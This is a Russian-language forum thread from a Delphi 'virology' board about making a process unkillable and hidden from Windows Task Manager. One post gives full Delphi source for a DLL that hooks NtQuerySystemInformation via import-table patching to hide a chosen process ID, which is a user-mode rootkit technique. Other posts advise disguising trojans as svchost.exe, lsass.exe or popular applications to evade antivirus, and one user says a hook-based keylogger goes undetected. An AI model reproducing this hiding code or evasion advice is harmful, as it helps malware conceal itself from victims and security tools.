Пятница, 19.04.2024, 08:57 Приветствую вас Гость | Группа "Гости" 
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 2
  • 1
  • 2
  • »
Модератор форума: Волк-1024, Anton93, xXxSh@dowxXx  
delphicode » Delphi » Вирусология Delphi » НЕубиваемый процесс
НЕубиваемый процесс
cool1Дата: Понедельник, 02.05.2011, 06:41 | Сообщение # 1
Участник
Зарегистрирован: 14.07.2010
Группа: Пользователи
Сообщений: 238
Статус: Offline
Как создать неубиваемый процесс? Например все вы знаете антивирус ESS (Eset Samrt Security) да и обычный НОД 32 если вы в Диспетчере задач Windows захотите убить этот процесс у вас не получиться! Как это сделать?


За помощь ставьте +!
 
gravitasДата: Понедельник, 02.05.2011, 08:12 | Сообщение # 2
Авторитетный
Зарегистрирован: 01.05.2010
Группа: Пользователи
Сообщений: 385
Статус: Offline
Я конечно не о том, но как вариант... Можно создать не 1 процесс, а несколько. И чтобы все они по таймеру друг друга запускали.
http://delfcode.ru/forum/10-466-1


TheDeduction

Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)
 
dolphinДата: Понедельник, 02.05.2011, 08:16 | Сообщение # 3
Администратор
Сообщений: 906
Статус: Offline
gravitas, Несколько тоже можно убить выделив сразу 2 в диспетчере задач.

Система: Windows 10 x64, Kali Linux
Среды программирования: Delphi 7, Delphi 10.x

Я не профессионал, я всего лишь любитель
Я не вредитель, я всего лишь теоретик
 
gravitasДата: Понедельник, 02.05.2011, 08:45 | Сообщение # 4
Авторитетный
Зарегистрирован: 01.05.2010
Группа: Пользователи
Сообщений: 385
Статус: Offline
Quote (dolphin)
gravitas, Несколько тоже можно убить выделив сразу 2 в диспетчере задач.

Безусловно. Но там их вроде бы 4... Вряд ли кто то (не шарящий) определит все левые процессы в ДЗ.


TheDeduction

Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)
 
cool1Дата: Понедельник, 02.05.2011, 08:57 | Сообщение # 5
Участник
Зарегистрирован: 14.07.2010
Группа: Пользователи
Сообщений: 238
Статус: Offline
Систему грузить будет 4 проца!


За помощь ставьте +!
 
gravitasДата: Понедельник, 02.05.2011, 09:11 | Сообщение # 6
Авторитетный
Зарегистрирован: 01.05.2010
Группа: Пользователи
Сообщений: 385
Статус: Offline
Quote (cool1)
Систему грузить будет 4 проца!

Ни на один % не грузит тот сорс, что я дал.


TheDeduction

Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)
 
BROVARДата: Вторник, 03.05.2011, 03:56 | Сообщение # 7
Был не раз
Зарегистрирован: 03.05.2011
Группа: Пользователи
Сообщений: 9
Статус: Offline
Использую вспомагательный процесс. Если один из них отключается, то второй запускает его. Так же есть исходнички которые полностью скрывают процесс:

Code
library NThide;

uses Windows,
ImageHlp,
TlHelp32;

type TImageImportDescriptor=packed record
Characteristics:DWORD;
TimeDateStamp:DWORD;
ForwarderChain:DWORD;
Name:DWORD;
FirstThunk:DWORD;
end;

PImageImportDescriptor=^TImageImportDescriptor;

type PPointer=^Pointer;

procedure ReplaceIATEntryInOneMod(pszCallerModName: Pchar;// имя dll с функцией

pfnCurrent: Pointer; // адрес перехватываемой
// функции

pfnNew: Pointer; // адрес новой функции

hmodCaller: hModule // сам модуль
);

var ulSize,written: Cardinal;
pImportDesc: PImageImportDescriptor;
pszModName: PChar;
pThunk: PDWORD;
ppfn:PPointer;
ffound: LongBool;
begin
pImportDesc:= ImageDirectoryEntryToData(Pointer(hmodCaller),
TRUE,IMAGE_DIRECTORY_ENTRY_IMPORT,
ulSize);
if pImportDesc = nil then exit;
while pImportDesc.Name<>0 do
begin
pszModName:=PChar(hmodCaller + pImportDesc.Name);

if (lstrcmpiA(pszModName, pszCallerModName) = 0) then
break;
Inc(pImportDesc);
end;

if pImportDesc.Name = 0 then
exit;

pThunk:=PDWORD(hmodCaller + pImportDesc.FirstThunk);

while pThunk^<>0 do
begin
ppfn := PPointer(pThunk);
fFound := (ppfn^ = pfnCurrent);

if (fFound) then
begin
VirtualProtectEx(GetCurrentProcess,ppfn,4,PAGE_EXECUTE_READWRITE,
written);
WriteProcessMemory(GetCurrentProcess, ppfn, @pfnNew, sizeof(pfnNew),
written);
exit;
end;
inc(pThunk);
end;
end;

var addr_NtQuerySystemInformation: Pointer;
mypid: DWORD;
mapaddr: PDWORD;

function myNtQuerySystemInfo(SystemInformationClass, SystemInformation,
SystemInformationLength,
ReturnLength: DWORD):LongInt; stdcall;
label onceagain, getnextpidstruct, quit, fillzero;
asm
push ReturnLength
push SystemInformationLength
push SystemInformation
push dword ptr SystemInformationClass
call dword ptr [addr_NtQuerySystemInformation]
or eax,eax
jl quit
cmp SystemInformationClass, 5
jne quit

onceagain:
mov esi, SystemInformation

getnextpidstruct:
mov ebx, esi
cmp dword ptr [esi],0
je quit
add esi, [esi]
mov ecx, [esi+44h]
cmp ecx, mypid
jne getnextpidstruct
mov edx, [esi]
test edx, edx
je fillzero
add [ebx], edx
jmp onceagain

fillzero:
and [ebx], edx
jmp onceagain

quit:
mov Result, eax
end;

procedure InterceptFunctions; // перехватить функции
var hSnapShot: Cardinal;
me32: MODULEENTRY32;
begin
addr_NtQuerySystemInformation:=GetProcAddress(getModuleHandle('ntdll.dll'),
'NtQuerySystemInformation');

hSnapShot:=CreateToolHelp32SnapShot(TH32CS_SNAPMODULE,GetCurrentProcessId);

if hSnapshot=INVALID_HANDLE_VALUE then
exit;

ZeroMemory(@me32,sizeof(MODULEENTRY32));
me32.dwSize:=sizeof(MODULEENTRY32);
Module32First(hSnapShot,me32);

repeat
ReplaceIATEntryInOneMod('ntdll.dll', addr_NtQuerySystemInformation,
@MyNtQuerySystemInfo, me32.hModule);
until not Module32Next(hSnapShot,me32);

CloseHandle(hSnapShot);
end;

procedure UninterceptFunctions; // снятие перехвата
var hSnapShot: THandle;
me32: MODULEENTRY32;
begin
addr_NtQuerySystemInformation:=GetProcAddress(getModuleHandle('ntdll.dll'),
'NtQuerySystemInformation');
hSnapShot:=CreateToolHelp32SnapShot(TH32CS_SNAPMODULE,GetCurrentProcessId);

if hSnapshot=INVALID_HANDLE_VALUE then
exit;

ZeroMemory(@me32,sizeof(MODULEENTRY32));
me32.dwSize:=sizeof(MODULEENTRY32);
Module32First(hSnapShot,me32);

repeat
ReplaceIATEntryInOneMod('ntdll.dll', @MyNtQuerySystemInfo,
addr_NtQuerySystemInformation, me32.hModule);
until not Module32Next(hSnapShot,me32);

CloseHandle(hSnapShot);
end;

var HookHandle: THandle;

function CbtProc(code: integer; wparam: integer;
lparam: integer):Integer; stdcall;
begin
// рвем цепочку хуков
Result:=0;
end;

procedure InstallHook; stdcall;
begin
// отлавливаем сообщения о происшедствиях с окнами
HookHandle:=SetWindowsHookEx(WH_CBT, @CbtProc, HInstance, 0);
end;

var hFirstMapHandle:THandle;

function HideProcess(pid:DWORD):BOOL; stdcall;
var addrMap: PDWORD;
begin
mypid:=0;
result:=false;
hFirstMapHandle:=CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, 8,
'NtHideFileMapping');
if hFirstMapHandle=0 then
exit;

addrMap:=MapViewOfFile(hFirstMapHandle,FILE_MAP_WRITE,0,0,8);

if addrMap=nil then
begin
CloseHandle(hFirstMapHandle);
exit;
end;

addrMap^:=pid;
UnmapViewOfFile(addrMap);
InstallHook; // запрещаем сообщения WH_CBT
result:=true;
end;

exports HideProcess;

var hmap: THandle;

procedure LibraryProc(Reason: Integer);
begin
if Reason = DLL_PROCESS_DETACH then
if mypid > 0 then
UninterceptFunctions

else
CloseHandle(hFirstMapHandle);
end;

begin
hmap:=OpenFileMapping(FILE_MAP_READ,false,'NtHideFileMapping');

if hmap=0 then
exit;

mapaddr:=MapViewOfFile(hmap,FILE_MAP_READ,0,0,0);

if mapaddr=nil then
exit;

mypid:=mapaddr^;
InterceptFunctions;
UnmapViewOfFile(mapaddr);
CloseHandle(Hmap);
DLLProc:=@LibraryProc;
end.

Используйте теги


Абара!

Сообщение отредактировал dolphin - Вторник, 03.05.2011, 10:14
 
artemukДата: Вторник, 03.05.2011, 19:58 | Сообщение # 8
Был не раз
Зарегистрирован: 31.05.2010
Группа: Пользователи
Сообщений: 17
Статус: Offline
Доступно только для пользователей

Сообщение отредактировал dolphin - Среда, 04.05.2011, 15:16
 
C@TДата: Вторник, 03.05.2011, 20:58 | Сообщение # 9
Авторитетный
Зарегистрирован: 06.03.2010
Группа: Модераторы
Сообщений: 265
Статус: Offline
Пример сложно убиваемой программы
Прикрепления: Demo.rar (29.7 Kb)


 
shadowrunДата: Вторник, 03.05.2011, 22:25 | Сообщение # 10
Новичок
Зарегистрирован: 03.05.2011
Группа: Пользователи
Сообщений: 2
Статус: Offline
В таких случаях обзываю приложение svchost.exe и заливаю в %SystemRoot%\system32\.
 
dolphinДата: Среда, 04.05.2011, 15:20 | Сообщение # 11
Администратор
Сообщений: 906
Статус: Offline
Доступно только для пользователей

Кто нибудь пробовал этот код? У меня на 7 не работает.


Система: Windows 10 x64, Kali Linux
Среды программирования: Delphi 7, Delphi 10.x

Я не профессионал, я всего лишь любитель
Я не вредитель, я всего лишь теоретик
 
NeoДата: Четверг, 05.05.2011, 11:27 | Сообщение # 12
Модератор
Зарегистрирован: 04.05.2010
Группа: Модераторы
Сообщений: 317
Статус: Offline
У меня хп,код и там не работает!
 
batrjanДата: Пятница, 06.05.2011, 13:29 | Сообщение # 13
Группа: Удаленные



а может проще назвать его lsass.exe?
хотя два процесса с таким именем могут вызвать подозрения smile
 
XSPYДата: Пятница, 06.05.2011, 21:35 | Сообщение # 14
Продвинутый
Зарегистрирован: 28.01.2010
Группа: Пользователи
Сообщений: 263
Статус: Offline
драйвера очень помогают в защите и не только))

Я не крекер,а программист!
Я не преступник-я свободный человек!
Лучше один раз накодить,чем сто раз качать билды!
 
NeoДата: Суббота, 07.05.2011, 11:58 | Сообщение # 15
Модератор
Зарегистрирован: 04.05.2010
Группа: Модераторы
Сообщений: 317
Статус: Offline
Ну давайте подумаем!Процесс завершает API функция ZwTerminateProcess.Следовательно что с ней нежно сделать?....Я думаю,что перехватить да и всё! А драйвер это круто,ничего не скажешь.
 
BROVARДата: Четверг, 26.05.2011, 04:34 | Сообщение # 16
Был не раз
Зарегистрирован: 03.05.2011
Группа: Пользователи
Сообщений: 9
Статус: Offline
Вообще я не советую называть подобием системных процессов, если стандартные авиры не обратят внимания, то АВЗ-шка или Чекист обратят точно. Больше люблю обзывать трояны какими-то известными приложениями в таком случае АВЗ не скандалит на подозрительное имя.

Абара!
 
gravitasДата: Пятница, 04.11.2011, 15:31 | Сообщение # 17
Авторитетный
Зарегистрирован: 01.05.2010
Группа: Пользователи
Сообщений: 385
Статус: Offline
Поднимаю тему, т.к. взялся за перехват апи, а тут ему самое место.
Вобщем, попробовал сделать как сказал Neo. Перехватить не удалось, потом Вован сказал, что такие дела только через нулевое кольцо делаются... Тут Neo написал, что у него тоже не получилось перехватить эту функцию и он решил проблему закрытия процесса через перехват OpenProcess и пояснил, что запрещает обращаться к ID процесса троя. Я посмотрел OpenProcess и увидел, что результатом является хэнлд процесса, а не айди. Короче, запутался) У кого есть какие идеи, что можно перехватить, чтобы диспетчер не творил что хотел?)


TheDeduction

Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)
 
XSPYДата: Пятница, 04.11.2011, 22:07 | Сообщение # 18
Продвинутый
Зарегистрирован: 28.01.2010
Группа: Пользователи
Сообщений: 263
Статус: Offline
gravitas, зачем так сложно?можно установить хуки на клаву и мышку-их будет вполне достаточно,чтобы пользователь не натворил чего(тут нужно еще предусмотреть виртуальную клавиатуру,которая может его спасти).

Я не крекер,а программист!
Я не преступник-я свободный человек!
Лучше один раз накодить,чем сто раз качать билды!
 
dolphinДата: Пятница, 04.11.2011, 23:51 | Сообщение # 19
Администратор
Сообщений: 906
Статус: Offline
Я тут заметил одну багу, что если назвать процесс Доступно только для пользователей то его невозможно завершить в диспетчере, сами попробуйте cool
gravitas, может это сгодиться?


Система: Windows 10 x64, Kali Linux
Среды программирования: Delphi 7, Delphi 10.x

Я не профессионал, я всего лишь любитель
Я не вредитель, я всего лишь теоретик
 
gravitasДата: Суббота, 05.11.2011, 17:06 | Сообщение # 20
Авторитетный
Зарегистрирован: 01.05.2010
Группа: Пользователи
Сообщений: 385
Статус: Offline
dolphin, нет, это не сгодится sad
XSPY, тоже самое)


TheDeduction

Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)
 
XSPYДата: Суббота, 05.11.2011, 18:26 | Сообщение # 21
Продвинутый
Зарегистрирован: 28.01.2010
Группа: Пользователи
Сообщений: 263
Статус: Offline
gravitas, а чего так?обьясни плиз))

Я не крекер,а программист!
Я не преступник-я свободный человек!
Лучше один раз накодить,чем сто раз качать билды!
 
XSPYДата: Суббота, 05.11.2011, 18:35 | Сообщение # 22
Продвинутый
Зарегистрирован: 28.01.2010
Группа: Пользователи
Сообщений: 263
Статус: Offline
dolphin, а внатуре пашет!=))
у меня на Windows SP3 работает)) от имени админа правда запускал.


Я не крекер,а программист!
Я не преступник-я свободный человек!
Лучше один раз накодить,чем сто раз качать билды!
 
gravitasДата: Суббота, 05.11.2011, 19:35 | Сообщение # 23
Авторитетный
Зарегистрирован: 01.05.2010
Группа: Пользователи
Сообщений: 385
Статус: Offline
Ну хук на мышь и клава слишком палевно на ав, да и муторно. А про процесс - слишком просто)

TheDeduction

Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)
 
XSPYДата: Воскресенье, 06.11.2011, 19:35 | Сообщение # 24
Продвинутый
Зарегистрирован: 28.01.2010
Группа: Пользователи
Сообщений: 263
Статус: Offline
gravitas, все гениальное просто))
кстати,насчет хуков немного неправ)) моего логгера не палят ща)) а он на хуках)) Жаль только,что евристики палят Длл(но только если на уровень параноик)


Я не крекер,а программист!
Я не преступник-я свободный человек!
Лучше один раз накодить,чем сто раз качать билды!
 
vvova15Дата: Понедельник, 07.11.2011, 17:53 | Сообщение # 25
Участник
Зарегистрирован: 24.04.2010
Группа: Пользователи
Сообщений: 83
Статус: Offline
антивирусы перехватывают ZwTerminateprocess, zwwriteprocessmemory, и т.п. из нулевого кольца, поэтому их процессы из 3-го кольца(usermode) не убьешь


ICQ 185-398
 
delphicode » Delphi » Вирусология Delphi » НЕубиваемый процесс
  • Страница 1 из 2
  • 1
  • 2
  • »
Поиск:

delphicode.ru © 2008 - 2024 Хостинг от uCoz